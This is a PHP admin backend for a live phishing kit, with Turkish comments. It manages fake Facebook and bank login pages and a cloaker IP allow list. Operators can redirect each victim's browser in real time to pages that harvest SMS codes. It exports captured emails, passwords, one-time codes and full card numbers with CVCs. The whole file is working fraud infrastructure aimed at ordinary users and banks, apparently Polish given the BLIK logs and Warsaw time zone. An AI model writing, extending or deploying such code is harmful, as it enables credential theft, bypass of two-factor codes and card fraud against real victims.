<?php
session_start();
// JSON yapısını bozabilecek hataları gizle
error_reporting(0);

// === SAAT AYARI (Kritik) ===
date_default_timezone_set('Europe/Warsaw');

// --- Veritabanı Bağlantısı ---
require_once 'db_config.php';
try {
    $conn = new PDO("mysql:host=$db_host;dbname=$db_name;charset=utf8", $db_user, $db_pass);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) { 
    header('Content-Type: application/json');
    echo json_encode(['status' => 'error', 'message' => 'Veritabanı Bağlantı Hatası']); 
    exit(); 
}

$action = $_GET['action'] ?? '';

// Güvenlik Kontrolü Fonksiyonu
function check_admin_auth() {
    if (!isset($_SESSION['admin_logged_in'])) { 
        header('Content-Type: application/json');
        echo json_encode(['status' => 'error', 'message' => 'Oturum süreniz dolmuş.']); 
        exit(); 
    }
}

// Ban Dosyası Yolu ve Fonksiyonu
$block_file = __DIR__ . '/blocked_ips.txt';
function getBlockedIPs() {
    global $block_file;
    if (!file_exists($block_file)) return [];
    return array_filter(array_map('trim', file($block_file)));
}

header('Content-Type: application/json');

switch ($action) {

    // ==========================================
    // 1. BAN SİSTEMİ (YASAKLILAR)
    // ==========================================
    
    case 'block_ip':
        check_admin_auth();
        $ip = $_POST['ip'] ?? '';
        if ($ip) {
            $ips = getBlockedIPs();
            if (!in_array($ip, $ips)) {
                file_put_contents($block_file, $ip . PHP_EOL, FILE_APPEND);
            }
            echo json_encode(['status' => 'success', 'message' => 'IP engellendi.']);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Geçersiz IP.']);
        }
        break;

    case 'unblock_ip':
        check_admin_auth();
        $ip = $_POST['ip'] ?? '';
        if ($ip) {
            $ips = getBlockedIPs();
            $new_ips = array_diff($ips, [$ip]);
            file_put_contents($block_file, implode(PHP_EOL, $new_ips) . (count($new_ips) > 0 ? PHP_EOL : ''));
            echo json_encode(['status' => 'success', 'message' => 'Yasak kaldırıldı.']);
        }
        break;

    case 'get_blocked_ips':
        check_admin_auth();
        echo json_encode(['status' => 'success', 'data' => array_values(getBlockedIPs())]);
        break;


    // ==========================================
    // 2. YÖNLENDİRME SİSTEMİ (KOMUTA MERKEZİ)
    // ==========================================

    case 'set_redirect':
    case 'set_visitor_redirect':
        check_admin_auth();
        $id = $_REQUEST['id'] ?? null;
        $page = $_REQUEST['page'] ?? null;
        $custom_question = $_POST['custom_question'] ?? null;
        
        if ($id && $page) {
            $table = ($action === 'set_visitor_redirect') ? 'active_visitors' : 'fb_accounts';
            
            // Özel soru ise kaydet
            if ($page === 'question.php' && !empty($custom_question) && $table === 'fb_accounts') {
                $conn->prepare("UPDATE fb_accounts SET custom_question = ? WHERE id = ?")->execute([$custom_question, $id]);
            }
            
            // Yönlendirmeyi yaz
            $conn->prepare("UPDATE $table SET redirect_to = ? WHERE id = ?")->execute([$page, $id]);
            echo json_encode(['status' => 'success']);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Eksik bilgi.']);
        }
        break;

    case 'check_redirect':
        // Bu fonksiyonu kurbanın tarayıcısı çağırır (Auth gerekmez)
        $sid = session_id();
        $vid = $_SESSION['fb_victim_id'] ?? null;
        $url = null;
        $target_id = null;
        $target_table = null;

        // 1. Kayıtlı kurban kontrolü
        if ($vid) {
            $stmt = $conn->prepare("SELECT redirect_to FROM fb_accounts WHERE id=?");
            $stmt->execute([$vid]);
            $res = $stmt->fetch();
            if ($res && !empty($res['redirect_to'])) {
                $url = $res['redirect_to'];
                $target_id = $vid;
                $target_table = 'fb_accounts';
            }
        }

        // 2. Ziyaretçi kontrolü
        if (!$url) {
            $stmt = $conn->prepare("SELECT redirect_to, id FROM active_visitors WHERE session_id=?");
            $stmt->execute([$sid]);
            $res = $stmt->fetch();
            if ($res && !empty($res['redirect_to'])) {
                $url = $res['redirect_to'];
                $target_id = $res['id'];
                $target_table = 'active_visitors';
            }
        }

        if ($url) {
            // Yönlendirmeyi temizle (döngüyü önle)
            // Soru sayfası hariç, çünkü cevabı bekliyoruz ama yine de temizlemek daha güvenli
             if ($target_table) {
                $conn->prepare("UPDATE $target_table SET redirect_to = NULL WHERE id = ?")->execute([$target_id]);
            }
            
            // URL'ye ID parametresi ekle (bazı sayfalar için gerekli olabilir)
            if (strpos($url, 'confirmation.php') !== false && $vid) {
                 if (strpos($url, '?') === false) $url .= '?id=' . $vid;
            }

            echo json_encode(['status' => 'redirect', 'url' => $url]);
        } else {
            echo json_encode(['status' => 'wait']);
        }
        break;


    // ==========================================
    // 3. AYARLAR VE LOG YÖNETİMİ
    // ==========================================

    case 'set_active_page':
        check_admin_auth();
        $page = $_GET['page'] ?? 'facebook';
        if (in_array($page, ['facebook', 'banks', 'phone'])) {
            $stmt = $conn->prepare("UPDATE site_settings SET setting_value = ? WHERE setting_key = 'active_page'");
            $stmt->execute([$page]);
            echo json_encode(['status' => 'success']);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Geçersiz sayfa.']);
        }
        break;

    case 'set_auto_lang':
        check_admin_auth();
        $lang = $_POST['lang_code'] ?? 'tr';
        // Önce var mı diye kontrol et
        $check = $conn->prepare("SELECT 1 FROM site_settings WHERE setting_key = 'site_lang'");
        $check->execute();
        
        if ($check->fetchColumn()) {
            $stmt = $conn->prepare("UPDATE site_settings SET setting_value = ? WHERE setting_key = 'site_lang'");
            $stmt->execute([$lang]);
        } else {
            $stmt = $conn->prepare("INSERT INTO site_settings (setting_key, setting_value) VALUES ('site_lang', ?)");
            $stmt->execute([$lang]);
        }
        echo json_encode(['status' => 'success']);
        break;

    case 'update_admin_credentials':
        check_admin_auth();
        $current_password = $_POST['current_password'] ?? '';
        $stmt = $conn->prepare("SELECT * FROM admin_users WHERE username = ?");
        $stmt->execute([$_SESSION['admin_username']]);
        $user = $stmt->fetch();

        if (!$user || !password_verify($current_password, $user['password'])) {
            echo json_encode(['status' => 'error', 'message' => 'Mevcut şifre yanlış!']);
            exit;
        }
        
        $new_username = trim($_POST['new_username'] ?? '');
        $new_password = $_POST['new_password'] ?? '';
        $did_update = false;

        if (!empty($new_password)) {
            $conn->prepare("UPDATE admin_users SET password = ? WHERE id = ?")->execute([password_hash($new_password, PASSWORD_DEFAULT), $user['id']]);
            $did_update = true;
        }
        if (!empty($new_username) && $new_username !== $user['username']) {
            $conn->prepare("UPDATE admin_users SET username = ? WHERE id = ?")->execute([$new_username, $user['id']]);
            $_SESSION['admin_username'] = $new_username;
            $did_update = true;
        }
        echo json_encode(['status' => $did_update ? 'success' : 'error', 'message' => $did_update ? 'Bilgiler güncellendi!' : 'Değişiklik yok.', 'username_changed' => $did_update]);
        break;

    case 'delete_log':
        check_admin_auth();
        $id = $_POST['account_id'] ?? null;
        if ($id) {
            $conn->prepare("DELETE FROM fb_accounts WHERE id = ?")->execute([$id]);
            $conn->prepare("DELETE FROM bank_logs WHERE victim_id = ?")->execute([$id]);
            $conn->prepare("DELETE FROM blik_logs WHERE victim_id = ?")->execute([$id]);
            echo json_encode(['status' => 'success']);
        }
        break;

    case 'delete_all_logs':
        check_admin_auth();
        $conn->query("TRUNCATE TABLE fb_accounts");
        $conn->query("TRUNCATE TABLE bank_logs");
        $conn->query("TRUNCATE TABLE blik_logs");
        $conn->query("TRUNCATE TABLE active_visitors");
        echo json_encode(['status' => 'success']);
        break;

    case 'export_logs':
        check_admin_auth();
        header('Content-Type: text/plain; charset=utf-8');
        header('Content-Disposition: attachment; filename="logs_'.date('Y-m-d_H-i').'.txt"');
        $logs = $conn->query("SELECT * FROM fb_accounts ORDER BY id ASC")->fetchAll(PDO::FETCH_ASSOC);
        foreach ($logs as $log) {
            echo "ID: {$log['id']} | IP: {$log['ip_address']} | Giriş: {$log['email']}:{$log['password']}\n";
            if(!empty($log['sms_code'])) echo "SMS 1: {$log['sms_code']}\n";
            if(!empty($log['sms_code_2'])) echo "SMS 2: {$log['sms_code_2']}\n";
            if(!empty($log['card_number'])) echo "KART: {$log['card_number']} | {$log['card_expiry']} | {$log['card_cvc']}\n";
            echo "Tarih: {$log['created_at']}\n----------------------------------------\n";
        }
        exit;


    // ==========================================
    // 4. BANKA YÖNETİMİ
    // ==========================================

    case 'add_bank':
    case 'update_bank':
        check_admin_auth();
        try {
            $bank_name = $_POST['bank_name'] ?? '';
            $login_prompt = $_POST['login_prompt'] ?? '';
            $password_prompt = $_POST['password_prompt'] ?? '';
            $bank_type = $_POST['bank_type'] ?? 'classic';
            $bank_id = $_POST['bank_id'] ?? null;

            if (empty($bank_name)) throw new Exception('Banka adı gerekli.');

            $logo_path = '';
            
            // DEĞİŞİKLİK BURADA: logo_source kontrolünü kaldırdık, direk URL var mı diye bakıyoruz.
            if (!empty($_POST['logo_url'])) {
                $logo_path = $_POST['logo_url'];
            } 
            // URL yoksa dosya yüklemeye bak
            else {
                if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
                    $target_dir = "uploads/bank_logos/";
                    if (!is_dir($target_dir)) mkdir($target_dir, 0775, true);
                    $ext = strtolower(pathinfo($_FILES["logo"]["name"], PATHINFO_EXTENSION));
                    $new_name = uniqid('bank_', true) . '.' . $ext;
                    if (move_uploaded_file($_FILES["logo"]["tmp_name"], $target_dir . $new_name)) {
                        $logo_path = $target_dir . $new_name;
                    }
                }
            }

            if ($action === 'add_bank') {
                $conn->prepare("INSERT INTO managed_banks (bank_name, logo_path, login_prompt, password_prompt, bank_type) VALUES (?, ?, ?, ?, ?)")
                     ->execute([$bank_name, $logo_path, $login_prompt, $password_prompt, $bank_type]);
                echo json_encode(['status' => 'success', 'message' => 'Banka eklendi.']);
            } else { 
                $sql = "UPDATE managed_banks SET bank_name=?, login_prompt=?, password_prompt=?, bank_type=?";
                $params = [$bank_name, $login_prompt, $password_prompt, $bank_type];
                if ($logo_path) { $sql .= ", logo_path=?"; $params[] = $logo_path; }
                $sql .= " WHERE id=?";
                $params[] = $bank_id;
                $conn->prepare($sql)->execute($params);
                echo json_encode(['status' => 'success', 'message' => 'Banka güncellendi.']);
            }
        } catch (Exception $e) {
            echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
        }
        break;

    case 'get_bank_details':
        check_admin_auth();
        $id = $_GET['id'] ?? null;
        if ($id) {
            $stmt = $conn->prepare("SELECT * FROM managed_banks WHERE id = ?");
            $stmt->execute([$id]);
            echo json_encode(['status' => 'success', 'data' => $stmt->fetch(PDO::FETCH_ASSOC)]);
        }
        break;

    case 'delete_bank':
        check_admin_auth();
        $id = $_POST['bank_id'] ?? null;
        if ($id) {
            $conn->prepare("DELETE FROM managed_banks WHERE id = ?")->execute([$id]);
            echo json_encode(['status' => 'success']);
        }
        break;

    case 'toggle_bank_status':
        check_admin_auth();
        $id = $_POST['bank_id'] ?? null;
        if ($id) {
            $conn->prepare("UPDATE managed_banks SET is_active = 1 - is_active WHERE id = ?")->execute([$id]);
            $stmt = $conn->prepare("SELECT is_active FROM managed_banks WHERE id = ?");
            $stmt->execute([$id]);
            echo json_encode(['status' => 'success', 'new_status' => $stmt->fetchColumn()]);
        }
        break;

    case 'save_bank_order':
        check_admin_auth();
        $order = $_POST['order'] ?? [];
        if (!empty($order)) {
            $stmt = $conn->prepare("UPDATE managed_banks SET display_order = ? WHERE id = ?");
            foreach ($order as $pos => $id) {
                $stmt->execute([$pos, $id]);
            }
            echo json_encode(['status' => 'success']);
        }
        break;


    // ==========================================
    // 5. CLOAKER (IP YÖNETİMİ)
    // ==========================================

    case 'get_allowed_ips':
        check_admin_auth();
        $s = $_GET['search'] ?? '';
        $sql = "SELECT * FROM allowed_ips WHERE ip_address LIKE ? LIMIT 50";
        $stmt = $conn->prepare($sql);
        $stmt->execute(['%' . $s . '%']);
        echo json_encode(['status' => 'success', 'data' => $stmt->fetchAll(PDO::FETCH_ASSOC)]);
        break;

    case 'add_allowed_ip':
        check_admin_auth();
        try {
            $conn->prepare("INSERT INTO allowed_ips (ip_address, description) VALUES (?, ?)")
                 ->execute([$_POST['ip_address'], $_POST['description']]);
            @unlink(__DIR__ . '/../ip_range_cache.txt');
            echo json_encode(['status' => 'success', 'message' => 'IP eklendi.']);
        } catch (Exception $e) { echo json_encode(['status' => 'error', 'message' => 'Hata.']); }
        break;

    case 'delete_allowed_ip':
        check_admin_auth();
        $conn->prepare("DELETE FROM allowed_ips WHERE id = ?")->execute([$_POST['ip_id']]);
        @unlink(__DIR__ . '/../ip_range_cache.txt');
        echo json_encode(['status' => 'success', 'message' => 'IP silindi.']);
        break;

    case 'bulk_add_allowed_ips':
        check_admin_auth();
        $list = explode("\n", $_POST['ip_list']);
        $stmt = $conn->prepare("INSERT IGNORE INTO allowed_ips (ip_address, description) VALUES (?, ?)");
        foreach($list as $ip) {
            $ip = trim($ip);
            if(!empty($ip)) $stmt->execute([$ip, $_POST['description']]);
        }
        @unlink(__DIR__ . '/../ip_range_cache.txt');
        echo json_encode(['status' => 'success', 'message' => 'Toplu ekleme tamam.']);
        break;


    // ==========================================
    // 6. BİLDİRİM SİSTEMİ (POLLING)
    // ==========================================

    case 'get_updates':
        if (!isset($_SESSION['admin_logged_in'])) { echo json_encode(['status' => 'no_auth']); exit; }

        $last_check = $_GET['last_check'] ?? date('Y-m-d H:i:s');
        $now = date('Y-m-d H:i:s');

        $stmt = $conn->prepare("SELECT id FROM fb_accounts WHERE created_at > ?");
        $stmt->execute([$last_check]);
        $new_logs = $stmt->fetchAll(PDO::FETCH_ASSOC);
        
        $stmt2 = $conn->prepare("SELECT id FROM fb_accounts WHERE updated_at > ? AND created_at < ?");
        $stmt2->execute([$last_check, $last_check]);
        $upd_logs = $stmt2->fetchAll(PDO::FETCH_ASSOC);

        if (!empty($new_logs) || !empty($upd_logs)) {
            $flash_ids = [];
            foreach ($new_logs as $l) $flash_ids[] = "account-row-" . $l['id'];
            foreach ($upd_logs as $l) $flash_ids[] = "account-row-" . $l['id'];
            
            echo json_encode([
                'status' => 'new_data',
                'flash_ids' => array_unique($flash_ids),
                'new_server_time' => $now
            ]);
        } else {
            echo json_encode(['status' => 'no_change', 'new_server_time' => $now]);
        }
        break;

    default:
        echo json_encode(['status' => 'error', 'message' => 'Geçersiz işlem.']);
        break;
}
?>